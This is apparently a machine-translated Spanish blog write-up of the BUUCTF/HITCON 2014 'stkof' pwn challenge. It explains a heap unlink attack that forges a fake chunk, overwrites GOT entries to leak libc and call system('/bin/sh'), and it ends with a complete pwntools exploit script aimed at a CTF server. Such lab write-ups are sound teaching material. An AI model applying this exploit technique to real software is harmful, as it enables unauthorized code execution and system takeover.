buuctf pwn hitcon2014_stkof first met unlink

Recientemente, comencé a aprender mucho. Leí la wiki y algunos artículos importantes para comprender este tema sobre la desvinculación: hitcon2014_stkof

Primero arrastre ida y observe algunas funciones principales:

Inserte la descripción de la imagen aquí

Función 1, cree un montón, y puede ver que la dirección del montón está almacenada en s, haga clic para ver

Inserte la descripción de la imagen aquí

Se encuentra que es el segmento bss. Un puntero como este es una característica de este tipo de
Inserte la descripción de la imagen aquí
tema. Función 2, Editar contenido del montón, la longitud puede ser configurada por usted mismo, hay una vulnerabilidad de desbordamiento del montón
Inserte la descripción de la imagen aquí
Función 3, montón libre

La función 4 no es muy útil

Primero escribe las tres funciones:

def alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def edit(idx, size, content):
    sh.sendline('2')
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')

def delete(idx):
    sh.sendline('3')
	sh.sendline(str(idx))

Luego crea tres montones

alloc(0x100)
alloc(0x20)
alloc(0x80)

Tenga en cuenta que el tamaño del tercer montón, que es menor que 0x80, se clasificará en fastbin

Después de este paso, echemos un vistazo al diseño del segmento bss y el montón:

Segmento BSS:
Inserte la descripción de la imagen aquí
luego el segundo fragmento y el tercer fragmento: no
Inserte la descripción de la imagen aquí
es difícil ver que las direcciones de fragmento1, fragmento2 y fragmento3 se almacenan en 0x602148, 0x602150 y 0x602158 respectivamente

Debido a que queremos falsificar el fragmento falso en chunk2 y luego liberar chunk3, configuramos el lugar donde se almacena la dirección del fragmento2, es decir, 0x602150 como ptr, y luego construimos el fragmento falso y escribimos los datos de desbordamiento.

ptr=0x602150
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)

Después de este paso, la situación de chunk2 y chunk3 es así:
Inserte la descripción de la imagen aquí

Preste atención a 0x20 y 0x90 en el encabezado de chunk3, y establezca la posición F de chunk3 en 0, lo que indica que el fragmento anterior está inactivo, y prev_size es el tamaño del fragmento falso anterior

Entonces libera chunk3

delete(3)

Este es el paso más crítico, han pasado muchas cosas

Cuando liberamos chunk3, el sistema juzga si el fragmento anterior está en un estado inactivo. Hemos organizado el bit F y el tamaño anterior de chunk3 a través del desbordamiento del montón. Por lo tanto, el sistema considera que el fragmento anterior está en un estado inactivo y lo ubica en función de la ubicación de chunk3 y prev_size. Vaya al fragmento anterior, que es nuestro fragmento falso. Luego es para fusionar estos dos fragmentos. En este momento, necesitamos juzgar nuevamente. Las condiciones para el juicio aquí son:

FD-> bk = fragmento falso && BK-> fd = fragmento falso

Entre ellos,
FD = fragmento falso-> fd
BK = fragmento falso-> bk,

es decir,
FD = 0x602138
BK = 0x602140,

entonces
FD-> bk = FD + 0x18
BK-> fd = BK + 0x10

Los resultados de ambos se almacenan en 0x602150 La dirección de 0xe05940 es la dirección del fragmento falso, por lo que omitimos la detección

Próximo,

FD-> bk = BK

BK-> fd = FD

Es decir, primero modifique los datos almacenados en 0x602150 a 0x602140, y luego cámbielos a 0x602138, para que el segmento bss sea así:
Inserte la descripción de la imagen aquí
0x602150 debería haber almacenado la dirección de chunk2, pero ahora la hemos cambiado, podemos usarla En este punto, escriba datos en chunk2 y continúe reescribiendo

elf=ELF('./stkof')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)

Dado que el puntero chunk2 ha sido modificado por nosotros, después de este paso, los datos en el segmento bss se cambian realmente en lugar de los datos en chunk2. El segmento bss es el siguiente:
Inserte la descripción de la imagen aquí

De esta manera, los punteros chunk1 y chunk3 también se cambian a la dirección got de la función free y la función put respectivamente De esta manera, cuando escribimos datos en chunk1, en realidad modificamos la dirección got de la función free.

edit(1,8,p64(puts_plt))
delete(3)

Después de este paso, la dirección obtenida de la función libre se cambió a la dirección plt de la función put. Free chunk3 realmente ejecuta la función put y genera la dirección obtenida de las put.

libc=ELF('./libc.so.6')
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']

Después de la salida, calcule la dirección base y la dirección de función del sistema

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)

El último paso es el mismo que el anterior, cambie la dirección obtenida de la función libre a la dirección de la función del sistema, escriba "/ bin / sh" en el segmento bss y luego ejecute la función del sistema para obtener el shell

Exp completa:

from pwn import *
sh=remote("node3.buuoj.cn",27974)
#sh=process("./stkof")
context.log_level='debug'
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
ptr=0x602150
def alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def edit(idx, size, content):
    sh.sendline('2')
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')

def delete(idx):
    sh.sendline('3')
    sh.sendline(str(idx))
    

alloc(0x100)
alloc(0x20)
alloc(0x80)

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)

delete(3)
sh.recvuntil('OK')

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt))
delete(3)


base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']


payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
sh.interactive()

Mi código de referencia es este artículo: https://thinkycx.me/2018-11-30-HITCON2014-stkof.html

La implementación en la wiki es ligeramente diferente, pero también es fácil de entender.

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/107747124
Recomendado
Clasificación